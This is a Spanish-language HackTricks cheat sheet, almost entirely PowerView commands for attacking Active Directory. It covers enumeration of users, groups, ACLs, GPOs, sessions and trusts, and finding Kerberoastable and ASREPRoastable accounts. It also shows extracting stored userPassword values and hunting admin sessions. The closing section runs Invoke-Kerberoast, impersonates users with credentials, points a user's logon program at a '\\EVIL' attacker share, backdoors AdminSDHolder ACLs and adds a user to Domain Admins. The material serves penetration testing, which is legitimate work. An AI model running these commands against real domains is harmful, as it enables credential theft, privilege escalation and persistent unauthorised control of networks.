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hacktricks/windows-hardening/basic-powershell-for-pentesters/powerview.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

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PowerView/SharpView

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La versión más actualizada de PowerView siempre estará en la rama dev de PowerSploit: https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

SharpView es una versión en .NET de PowerView

Enumeración rápida

Get-NetDomain #Basic domain info
#User info
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info
Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
Get-NetUser -PreauthNotRequired #ASREPRoastable users
Get-NetUser -SPN #Kerberoastable users
#Groups info
Get-NetGroup | select samaccountname, admincount, description
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=EGOTISTICAL-BANK,DC=local' | %{ $_.SecurityIdentifier } | Convert-SidToName #Get AdminSDHolders
#Computers
Get-NetComputer | select samaccountname, operatingsystem
Get-NetComputer -Unconstrainusered | select samaccountname #DCs always appear but aren't useful for privesc
Get-NetComputer -TrustedToAuth | select samaccountname #Find computers with Constrained Delegation
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups
#Shares
Find-DomainShare -CheckShareAccess #Search readable shares
#Domain trusts
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
#LHF
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
Find-LocalAdminAccess
#Get members from Domain Admins (default) and a list of computers and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. If -Checkaccess, then it also check for LocalAdmin access in the hosts.
Invoke-UserHunter -CheckAccess
#Find interesting ACLs
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl

Información del dominio

# Domain Info
Get-Domain #Get info about the current domain
Get-NetDomain #Get info about the current domain
Get-NetDomain -Domain mydomain.local
Get-DomainSID #Get domain SID

# Policy
Get-DomainPolicy #Get info about the policy
(Get-DomainPolicy)."KerberosPolicy" #Kerberos tickets info(MaxServiceAge)
(Get-DomainPolicy)."SystemAccess" #Password policy
Get-DomainPolicyData | select -ExpandProperty SystemAccess #Same as previous
(Get-DomainPolicy).PrivilegeRights #Check your privileges
Get-DomainPolicyData # Same as Get-DomainPolicy

# Domain Controller
Get-DomainController | select Forest, Domain, IPAddress, Name, OSVersion | fl # Get specific info of current domain controller
Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain Domain Controller

# Get Forest info 
Get-ForestDomain

Usuarios, Grupos, Computadoras y OUs

# Users
## Get usernames and their groups
Get-DomainUser -Properties name, MemberOf | fl
## Get-DomainUser and Get-NetUser are kind of the same
Get-NetUser #Get users with several (not all) properties
Get-NetUser | select samaccountname, description, pwdlastset, logoncount, badpwdcount #List all usernames
Get-NetUser -UserName student107 #Get info about a user
Get-NetUser -properties name, description #Get all descriptions
Get-NetUser -properties name, pwdlastset, logoncount, badpwdcount  #Get all pwdlastset, logoncount and badpwdcount
Find-UserField -SearchField Description -SearchTerm "built" #Search account with "something" in a parameter
# Get users with reversible encryption (PWD in clear text with dcsync)
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

# Users Filters
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE -properties distinguishedname #All enabled users
Get-NetUser -UACFilter ACCOUNTDISABLE #All disabled users
Get-NetUser -UACFilter SMARTCARD_REQUIRED #Users that require a smart card
Get-NetUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname #Not smart card users
Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
Get-NetUser -PreauthNotRequired #ASREPRoastable users
Get-NetUser -SPN | select serviceprincipalname #Kerberoastable users
Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'} #Domain admins kerberostable
Get-Netuser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto #Constrained Resource Delegation
Get-NetUser -AllowDelegation -AdminCount #All privileged users that aren't marked as sensitive/not for delegation
# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync)
Get-ObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? {
    ($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')
}
# Users with PASSWD_NOTREQD set in the userAccountControl means that the user is not subject to the current password policy
## Users with this flag might have empty passwords (if allowed) or shorter passwords
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol

#Groups
Get-DomainGroup | where Name -like "*Admin*" | select SamAccountName
## Get-DomainGroup is similar to Get-NetGroup 
Get-NetGroup #Get groups
Get-NetGroup -Domain mydomain.local #Get groups of an specific domain
Get-NetGroup 'Domain Admins' #Get all data of a group
Get-NetGroup -AdminCount | select name,memberof,admincount,member | fl #Search admin grups
Get-NetGroup -UserName "myusername" #Get groups of a user
Get-NetGroupMember -Identity "Administrators" -Recurse #Get users inside "Administrators" group. If there are groups inside of this grup, the -Recurse option will print the users inside the others groups also
Get-NetGroupMember -Identity "Enterprise Admins" -Domain mydomain.local #Remember that "Enterprise Admins" group only exists in the rootdomain of the forest
Get-NetLocalGroup -ComputerName dc.mydomain.local -ListGroups #Get Local groups of a machine (you need admin rights in no DC hosts)
Get-NetLocalGroupMember -computername dcorp-dc.dollarcorp.moneycorp.local #Get users of localgroups in computer
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs #Check AdminSDHolder users
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} #Get ObjectACLs by sid
Get-NetGPOGroup #Get restricted groups

# Computers
Get-DomainComputer -Properties DnsHostName # Get all domain maes of computers
## Get-DomainComputer is kind of the same as Get-NetComputer
Get-NetComputer #Get all computer objects
Get-NetComputer -Ping #Send a ping to check if the computers are working
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
Get-NetComputer -TrustedToAuth #Find computers with Constrined Delegation
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups

#OU
Get-DomainOU -Properties Name | sort -Property Name #Get names of OUs
Get-DomainOU "Servers" | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name} #Get all computers inside an OU (Servers in this case)
## Get-DomainOU is kind of the same as Get-NetOU
Get-NetOU #Get Organization Units
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)

Inicio de sesión y sesiones

Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
Get-NetSession -ComputerName <servername> #Get active sessions on the host
Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the moment (need remote registry (default in server OS))
Get-LastLoggedon -ComputerName <servername> #Get last user logged on (needs admin rigths in host)
Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (needs admin rights in host)

Objeto de directiva de grupo - GPOs

Si un atacante tiene altos privilegios sobre un GPO, podría ser capaz de elevar privilegios abusando de él al agregar permisos a un usuario, agregar un usuario administrador local a un host o crear una tarea programada (inmediata) para realizar una acción.
Para más información al respecto y cómo abusar de ello, siga este enlace.

#GPO
Get-DomainGPO | select displayName #Check the names for info
Get-NetGPO #Get all policies with details
Get-NetGPO | select displayname #Get the names of the policies
Get-NetGPO -ComputerName <servername> #Get the policy applied in a computer
gpresult /V #Get current policy

# Get who can create new GPOs
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=dev,DC=invented,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl

# Enumerate permissions for GPOs where users with RIDs of > 1000 have some kind of modification/control rights
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl

# Get permissions a user/group has over any GPO
$sid=Convert-NameToSid "Domain Users"
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}

# COnvert GPO GUID to name
Get-GPO -Guid 18E5A689-E67F-90B2-1953-198ED4A7F532

# Transform SID to name
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1126

# Get GPO of an OU
Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}'

# Returns all GPOs that modify local group memberships through Restricted Groups or Group Policy Preferences.
Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType

# Enumerates the machines where a specific domain user/group is a member of a specific local group.
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName

Aprenda a explotar permisos sobre GPOs y ACLs en:

{% content-ref url="../active-directory-methodology/acl-persistence-abuse/" %} abuso de persistencia de ACL {% endcontent-ref %}

ACL

#Get ACLs of an object (permissions of other objects over the indicated one)
Get-ObjectAcl -SamAccountName <username> -ResolveGUIDs

#Other way to get ACLs of an object
$sid = Convert-NameToSid <username/group>
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}

#Get permissions of a file
Get-PathAcl -Path "\\dc.mydomain.local\sysvol"

#Find intresting ACEs (Interesting permisions of "unexpected objects" (RID>1000 and modify permissions) over other objects
Find-InterestingDomainAcl -ResolveGUIDs

#Check if any of the interesting permissions founds is realated to a username/group
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"} 

#Get special rights over All administrators in domain
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights

Archivos y carpetas compartidos

Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
Find-DomainShare -CheckShareAccess #Search readable shares
Find-InterestingDomainShareFile #Find interesting files, can use filters

Confianza de Dominio

Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-DomainTrust #Same
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
Get-DomainTrustMapping #Enumerate also all the trusts

Get-ForestDomain # Get basic forest info
Get-ForestGlobalCatalog #Get info of current forest (no external)
Get-ForestGlobalCatalog -Forest external.domain #Get info about the external forest (if possible)
Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)" 

Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust)

Get-DomainForeingUser #Get users with privileges in other domains inside the forest
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest

Frutas bajas colgantes

#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl

#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
Find-LocalAdminAccess

#(This time you need to give the list of computers in the domain) Do the same as before but trying to execute a WMI action in each computer (admin privs are needed to do so). Useful if RCP and SMB ports are closed.
.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt

#Enumerate machines where a particular user/group identity has local admin rights
Get-DomainGPOUserLocalGroupMapping -Identity <User/Group>

# Enumerates the members of specified local group (default administrators)
# for all the targeted machines on the current (or specified) domain.
Invoke-EnumerateLocalAdmin
Find-DomainLocalGroupMember

#Search unconstrained delegation computers and show users
Find-DomainUserLocation -ComputerUnconstrained -ShowAll

#Admin users that allow delegation, logged into servers that allow unconstrained delegation
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation

#Get members from Domain Admins (default) and a list of computers
# and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host.
# If -Checkaccess, then it also check for LocalAdmin access in the hosts.
## By default users inside Domain Admins are searched
Find-DomainUserLocation [-CheckAccess] | select UserName, SessionFromName
Invoke-UserHunter [-CheckAccess]

#Search "RDPUsers" users
Invoke-UserHunter -GroupName "RDPUsers"

#It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)
Invoke-UserHunter -Stealth

Objetos eliminados

#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

VARIOS

De SID a Nombre

"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName

Kerberoast

El ataque Kerberoast es una técnica utilizada para extraer contraseñas de cuentas de servicio de Active Directory que utilizan Kerberos para la autenticación. El ataque se basa en la debilidad de que las contraseñas de las cuentas de servicio se almacenan en el directorio de Active Directory en forma de hash Kerberos, lo que permite a un atacante extraer el hash y luego crackearlo offline para obtener la contraseña en texto plano. Powerview proporciona una serie de herramientas para llevar a cabo este ataque, incluyendo Get-DomainUser, Get-DomainSPNTicket y Invoke-Kerberoast.

Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users

Usar diferentes credenciales (argumento)

# use an alterate creadential for any function
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred

Suplantación de identidad de un usuario

# if running in -sta mode, impersonate another credential a la "runas /netonly"
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Invoke-UserImpersonation -Credential $Cred
# ... action
Invoke-RevertToSelf

Establecer valores

# set the specified property for the given user identity
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
# Set the owner of 'dfm' in the current domain to 'harmj0y'
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
# ackdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
# Add user to 'Domain Admins'
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
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